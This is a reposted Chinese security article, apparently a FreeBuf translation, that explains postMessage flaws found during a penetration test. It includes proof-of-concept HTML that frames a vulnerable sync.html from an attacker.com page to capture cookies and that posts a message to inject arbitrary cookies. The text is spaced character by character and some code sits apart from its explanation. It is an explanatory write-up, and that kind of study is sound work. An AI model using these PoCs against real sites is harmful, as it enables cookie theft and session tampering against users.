搜索

[13723] 2019-02-01_如何利用postMessage窃取编辑用户的Cookie信息

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-02-01_如何利用postMessage窃取编辑用户的Cookie信息 如 何 利 用 p o s t M e s s a g e 窃 取 编 辑 用 户 的 C o o k i e 信 息 c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 1 某 天 ， 当 我 在 做 某 个 项 目 的 漏 洞 测 试 时 ， 在 登 录 的 一 些 H T T P 请 求 记 录 中 ， 我 发 现 了 一 种 利 用 p o s t M e s s a g e 方 式 窃 取 和 编 辑 用 户 C o o k i e 的 方 法 。 由 于 该 测 试 是 邀 请 测 试 ， 出 于 保 密 ， 我 只 能 在 下 文 中 和 大 家 分 享 一 些 方 法 思 路 。 p o s t M e s s a g e 介 绍 介 绍 相 信 大 家 都 听 过 不 同 窗 口 之 间 的 通 信 、 当 前 窗 口 与 内 部 i f r a m e 框 架 的 通 信 以 及 一 些 跨 域 技 巧 ， w i n d o w . p o s t M e s s a g e 功 能 就 是 允 许 在 两 个 客 户 端 的 窗 口 / f r a m e s 间 发 送 数 据 信 息 ， 跨 域 地 实 现 通 信 的 方 法 。 在 H T M L 5 中 ， W i n d o w . p o s t M e s s a g e ( )   方 法 可 以 安 全 地 实 现 跨 源 通 信 。 通 常 ， 对 于 两 个 不 同 页 面 的 脚 本 ， 只 有 当 执 行 它 们 的 页 面 位 于 具 有 相 同 的 协 议 （ 通 常 为 h t t p s ） ， 端 口 号 （ 4 4 3 为 h t t p s 的 默 认 值 ） ， 以 及 主 机   ( 两 个 页 面 的 模 数 D o c u m e n t . d o m a i n 设 置 为 相 同 的 值 )   时 ， 这 两 个 脚 本 才 能 相 互 通 信 。 w i n d o w . p o s t M e s s a g e ( )   方 法 提 供 了 一 种 受 控 机 制 来 规 避 此 限 制 ， 只 要 正 确 的 使 用 ， 这 种 方 法 就 很 安 全 。 W i n d o w . p o s t M e s s a g e 有 三 个 参 数 ， m e s s a g e 、 t a r g e t O r i g i n 和 可 选 的 [ t r a n s f e r ] ) ， 其 中 m e s s a g e 代 表 将 要 发 送 到 其 他 窗 口 的 数 据 ， t a r g e t O r i g i n 表 示 接 收 数 据 消 息 的 目 标 窗 口 ， t r a n s f e r 代 表 消 息 的 所 有 权 。 另 外 还 有 一 个 w i n d o w . a d d E v e n t L i s t e n e r ( “ m e s s a g e ” ,   r e c e i v e M e s s a g e ,   f a l s e ) ， 用 以 监 听 消 息 数 据 的 反 馈 ， 其 中 的 m e s s a g e 就 存 在 d a t a 、 o r i g i n 和 s o u r c e 三 个 属 性 ， o r i g i n 属 性 表 示 消 息 数 据 发 送 方 的 身 份 ， 只 有 和 原 来 指 定 发 送 方 的 协 议 、 域 名 或 端 口 一 致 ， 才 能 建 立 通 信 。 具 体 请 参 考 p o s t M e s s a g e 的 详 细 介 绍 。 举 个 例 子 ， 比 如 我 们 这 有 一 个 包 含 j s 代 码 的 页 面 ， 用 来 监 听 记 录 传 入 的 消 息 ， 其 中 的 j s 代 码 如 下 ： 在 上 述 c h i l d . h t m l 的 子 页 面 中 ， 存 在 一 个 向 主 页 面 的 消 息 发 送 ， 它 就 调 用 了 p o s t M e s s a g e 方 法 ， 如 下 ： < s c r i p t >         f u n c t i o n   m e s s a g e s ( e v e n t )         {                 c o n s o l e . l o g ( e v e n t ) ;         }         w i n d o w . a d d E v e n t L i s t e n e r ( ‘ m e s s a g e ’ , m e s s a g e s , f a l s e ) ;         c o n s o l e . l o g ( “ l i s t e n i n g ” ) ;   < / s c r i p t > < i f r a m e   > < / i f r a m e > w i n d o w . p a r e n t . p o s t M e s s a g e ( " H e l l o   p a r e n t " ,   " t a r g e t " ) ;
接 下 来 ， 会 发 生 什 么 呢 ? 首 先 ， 你 访 问 那 个 会 加 载 c h i l d . h t m l 子 页 面 的 主 页 面 ， 之 后 ， 子 页 面 会 向 主 页 面 发 送 消 息 ， 然 后 ， 主 页 面 接 收 该 消 息 并 通 过 控 制 台 进 行 记 录 。 这 里 会 存 在 什 么 安 全 隐 患 吗 ？ 如 果 攻 击 者 能 控 制 消 息 发 送 的 目 标 窗 口 t a r g e t 参 数 值 会 怎 样 ？ 当 然 ， 如 果 子 页 面 存 在 点 击 劫 持 又 会 怎 样 ？ 我 们 要 思 考 的 是 ， 按 照 p o s t M e s s a g e 规 范 来 说 ， 如 果 消 息 发 送 的 目 标 窗 口 t a r g e t 参 数 是 星 号 * ， 表 示 无 限 制 ， 也 即 可 以 发 送 到 任 何 引 用 了 子 页 面 的 域 名 中 去 。 这 样 的 话 ， 就 会 导 致 一 些 不 安 全 的 问 题 出 现 。 具 体 测 试 具 体 测 试 回 到 之 前 的 漏 洞 测 试 过 程 中 ， 为 了 更 好 地 展 示 思 路 ， 接 下 来 开 始 ， 假 设 我 们 的 测 试 目 标 为 域 名 o n g a . c o m 。 我 通 过 爬 虫 找 到 了 其 中 一 个 包 含 了 H T M L 内 容 的 一 个 H T M L 页 面   s y n c . h t m l ， 然 后 ， 我 的 工 具 也 显 示 该 页 面 中 包 含 了 一 些 不 安 全 的 J a v a s c r i p t 代 码 。 这 个 文 件 没 有 其 它 过 多 的 元 素 ， 只 包 含 了 一 个 s c r i p t 标 记 ， 所 以 这 个 页 面 看 起 来 是 起 到 一 个 中 转 作 用 。 仔 细 分 析 其 中 的 s y n c . h t m l   文 件 ， 其 中 包 含 了 一 个 p o s t M e s s a g e 方 法 ， 它 向 变 量 名 为 w O r i g i n 的 目 标 发 送 了 消 息 ， 如 下 ： 这 样 ， 我 们 现 在 就 看 到 了 两 个 变 量 ， 分 别 为 m s g 和 w O r i g i n 。 于 是 ， 我 认 真 查 找 了 类 似 变 量 的 初 始 化 位 置 ， 以 确 定 是 否 可 以 对 它 们 进 行 控 制 。 很 惊 讶 的 是 ， m s g 是 C o o k i e 值 ， 其 它 相 关 的 都 是 用 户 的 输 入 。 在 分 析 w O r i g i n 变 量 的 过 程 中 ，   它 在 三 个 地 方 存 在 ， 第 一 个 地 方 就 是 ： 代 码 很 简 单 ， 首 先 ， 它 获 取 到 了 当 前 窗 口 的 U R L 哈 希 值 ， 然 后 执 行 编 码 操 作 （ D e c o d e ） ； 之 后 ， 解 析 为 j s o n 对 象 ， 接 着 ， 创 建 两 个 变 量 ， n s 代 表 命 名 空 间 ， w O r i g i n 代 表 消 息 的 发 送 目 标 窗 口 。 看 到 w i n d o w . l o c a t i o n . h a s h 方 法 ， 我 们 就 会 自 然 地 想 到 它 可 以 用 d o m - b a s e d   X S S 加 以 利 用 ， 但 这 个 问 题 在 此 不 作 讨 论 。 所 以 ， 接 下 来 ， 我 继 续 检 查 其 中 的 代 码 ， 查 看   n s   和   w O r i g i n   在 传 递 给 p o s t M e s s a g e 方 法 前 的 一 些 过 滤 机 制 ， 啊 ， 竟 然 没 有 ！ 那 这 样 的 话 ， 我 们 就 可 以 想 办 法 来 构 造 e x p l o i t 看 看 了 。 w i n d o w . p a r e n t . p o s t M e s s a g e ( J S O N . s t r i n g i f y ( m s g ) ,   w O r i g i n ) ; v a r   f d a t a   =   J S O N . p a r s e ( d e c o d e U R I C o m p o n e n t ( w i n d o w . l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ) ; v a r   n s   =   f d a t a . n s ; v a r   w o r i g i n   =   f d a t a . w o r i g i n ;
构 造 构 造 E x p l o i t 现 在 ， 我 们 需 要 逆 向 来 思 考 这 个 过 程 ： 首 先 ， 要 创 建 n s   和   w O r i g i n   两 个 变 量 ； 假 设   n s = a n y b l a h   ， w O r i g i n = * ； 创 建 j s o n 对 象 格 式   { “ n s ” : ” a n y b l a h ” , ” w O r i g i n ” : ” * ” } ； 构 造 存 在 漏 洞 的 U R L ： h t t p : / / v u l n e r a b l e - o n g a . c o m / s y n c . h t m l # { “ n s ” : ” a n y b l a h ” , ” w O r i g i n ” : ” * ” } 当 上 述 U R L 页 面 被 加 载 之 后 ， p o s t M e s s a g e 方 法 会 向 主 页 面 发 送 一 个 消 息 ， 但 由 于 采 用 了 * 星 号 ， 该 过 程 中 不 会 限 制 发 送 目 标 域 ， 消 息 可 以 发 送 到 任 何 采 取 监 听 措 施 的 域 名 中 去 。 现 在 ， 我 们 在 主 页 面 中 来 设 置 一 个 监 听 以 接 收 消 息 ： 创 建 一 个 i f r a m e 框 架 来 加 载 存 在 漏 洞 的 页 面 ， 并 把 它 设 置 为 子 页 面 ， 所 以 最 终 的 P o C 代 码 可 以 如 下 ： 当 打 开 攻 击 者 设 置 的 包 含 上 述 代 码 的 页 面 h t t p : / / a t t a c k e r . c o m / p o c . h t m l 后 ， 监 听 器 将 会 运 行 ， 并 会 等 待 传 入 消 息 ， 同 时 ， i f r a m e 框 架 会 被 加 载 ， 此 时 ， 存 在 漏 洞 的 页 面 也 一 样 会 在 i f r a m e 框 架 会 中 被 加 载 ， 并 会 向 主 页 面 也 就 是 攻 击 者 控 制 的 网 站 页 面 中 发 送 包 含 有 c o o k i e 的 消 息 ， 最 终 ， 在 我 们 的 实 例 中 ， 攻 击 者 控 制 的 网 站 会 捕 获 到 这 些 包 含 c o o k i e 的 消 息 。 这 就 完 了 吗 ？ 当 然 没 有 ， 不 要 忙 着 庆 祝 ， 这 其 中 可 能 会 有 一 些 遗 漏 的 东 西 ， 我 们 一 起 来 看 看 。 由 于 目 标 系 统 包 含 p o s t M e s s a g e 方 法 的 文 件 只 有 5 7 行 代 码 ， 我 决 定 好 好 分 析 一 下 。 果 然 ， 我 又 在 其 中 发 现 了 另 外 一 行 有 意 思 的 代 码 ： w i n d o w . a d d E v e n t L i s t e n e r ( ‘ m e s s a g e ’ ,   h _ m e s s a g e ) ; 我 又 赶 紧 检 查 了 一 下 参 数 h _ m e s s a g e 函 数 的 具 体 内 容 ： 我 们 来 分 析 一 下 以 上 代 码 包 含 的 意 思 ： 传 入 消 息 中 可 能 包 含 有 j s o n 对 象 ； < s c r i p t >     f u n c t i o n   r c v ( e v e n t )       {                   c o n s o l e . l o g ( e v e n t ) ;       }     w i n d o w . a d d E v e n t L i s t e n e r ( ' m e s s a g e ' , r c v , f a l s e ) ; < / s c r i p t > < s c r i p t >     f u n c t i o n   r c v ( e v e n t )       {         c o n s o l e . l o g ( e v e n t ) ;       }     w i n d o w . a d d E v e n t L i s t e n e r ( ' m e s s a g e ' , r c v , f a l s e ) ; < / s c r i p t > < i f r a m e   s r c = ' h t t p : / / v u l n e r a b l e - o n g a . c o m / s y n c . h t m l # { " n s " : " a n y b l a h " , " w O r i g i n " : " * " } '   / > f u n c t i o n   h _ m e s s a g e ( e v e n t ) {                     v a r   d a t a   =   n u l l ;                     t r y   {   d a t a   =   J S O N . p a r s e ( e v e n t . d a t a ) ;   }   c a t c h ( e )   {   r e t u r n ; }                     i f   ( d a t a . m s g T y p e   ! = =   " w r i t e "   & &   d a t a . n a m e s p a c e   ! = =   n s )   {                         r e t u r n ;                     }                     s e t C o o k i e ( d a t a . c o o k i e N a m e ,   d a t a . c o o k i e V a l , p a r s e I n t ( d a t a . e x p i r e s D a y s ,   1 0 ) ,   d a t a . s e c u r e O n l y ) ;               }
j s o n 对 象 中 的 m s g T y p e 属 性 可 能 和 w r i t e 属 性 相 同 ； 另 外 一 个 n a m e s p a c e 属 性 可 能 和 h a s h 中 的   ” n s “ 相 同 ， 都 是 用 户 端 控 制 的 输 入 ； i f   ( d a t a . m s g T y p e   ! = =   “ w r i t e ”   & &   d a t a . n a m e s p a c e   ! = =   n s ) 中 使 用 了 逻 辑 非 和 与 运 算 ， 所 以 两 组 条 件 中 都 需 要 满 足 才 能 r e t u r n 返 回 ； 否 则 ， 就 会 执 行 下 一 个 包 含 其 它 j s o n 属 性 为 参 数 的 s e t C o o k i e ( ) 函 数 。 这 里 确 实 是 存 在 风 险 的 ， 由 于 缺 乏 对 消 息 源 的 认 证 机 制 ， 所 以 任 意 网 站 都 可 以 用 来 发 送 消 息 并 向 s e t C o o k i e ( ) 中 传 入 恶 意 值 。 基 于 以 上 伟 世 通 ， 我 们 可 以 构 造 出 以 下 j s o n 对 象 来 ： { “ m s g T y p e ” : ” w r i t e ” , ” n a m e s p a c e ” : ” a ” , ” c o o k i e N a m e ” : ” i n j e c t e d t ” , ” c o o k i e V a l ” : ” h a c k e d ” , ” e x p i r e s D a y s ” : 1 0 , ” s e c u r e O n l y ” : f a l s e } 目 标 U R L 我 们 可 以 这 样 来 设 置 ： / s y n c . h t m l # { “ n s ” : ” a ” , ” w O r i g i n ” : ” * ” } 最 终 的 P o C 页 面 中 将 包 含 以 下 代 码 ： 保 存 包 含 上 述 代 码 的 P o C 页 面 为 h t m l 格 式 并 打 开 ， c o o k i e 就 能 成 功 注 入 ， 因 此 攻 击 者 端 也 就 能 向 存 在 漏 洞 网 站 ， 注 入 任 意 c o o k i e 数 据 信 息 ， 实 现 间 接 的 c o o k i e 窃 取 和 编 辑 操 作 了 。 如 下 视 频 所 示 ： 看 不 到 ？ 请 点 击 底 部 阅 读 原 文 。 参 考 ： 参 考 ： h t t p : / / w w w . s e c - 1 . c o m / b l o g / w p - c o n t e n t / u p l o a d s / 2 0 1 6 / 0 8 / H u n t i n g — p o s t M e s s a g e - V u l n e r a b i l i t i e s . p d f h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = X T K q Q 9 m h c g M h t t p s : / / r o b e r t n y m a n . c o m / 2 0 1 0 / 0 3 / 1 8 / p o s t m e s s a g e - i n - h t m l 5 - t o - s e n d - m e s s a g e s - b e t w e e n - w i n d o w s - a n d - i f r a m e s / h t t p s : / / g i s t . g i t h u b . c o m / Y a s s e r G e r s y / 1 f c 7 7 f f 9 b 6 7 8 f b 5 0 2 8 a 2 7 2 a 8 6 c 1 d 2 e a 1 < s c r i p t >               v a r   t a r = ' h t t p : / / o n g a . c o m / s y n c . h t m l # { " n s " : " a " , " w O r i g i n " : " * " } ' ;               v a r   p a y = { " m s g T y p e " : " w r i t e " , " n a m e s p a c e " : " a " , " c o o k i e N a m e " : " i n j e c t e d t " , " c o o k i e V a l " : " h a c k e d " , " e x p i r e s D a y s " : 1 0 , " s e c u r e O n l y " : f a l s e } ;                   v a r   c =   w i n d o w . o p e n ( t a r , " c h i l d " ) ;               c . p o s t M e s s a g e ( p a y , " * " ) ; < / s c r i p t >
h t t p s : / / n g a i l o n g . w o r d p r e s s . c o m / 2 0 1 8 / 0 2 / 1 3 / t h e - m y s t e r y - o f - p o s t m e s s a g e / * 参 考 来 源 ： m e d i u m ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理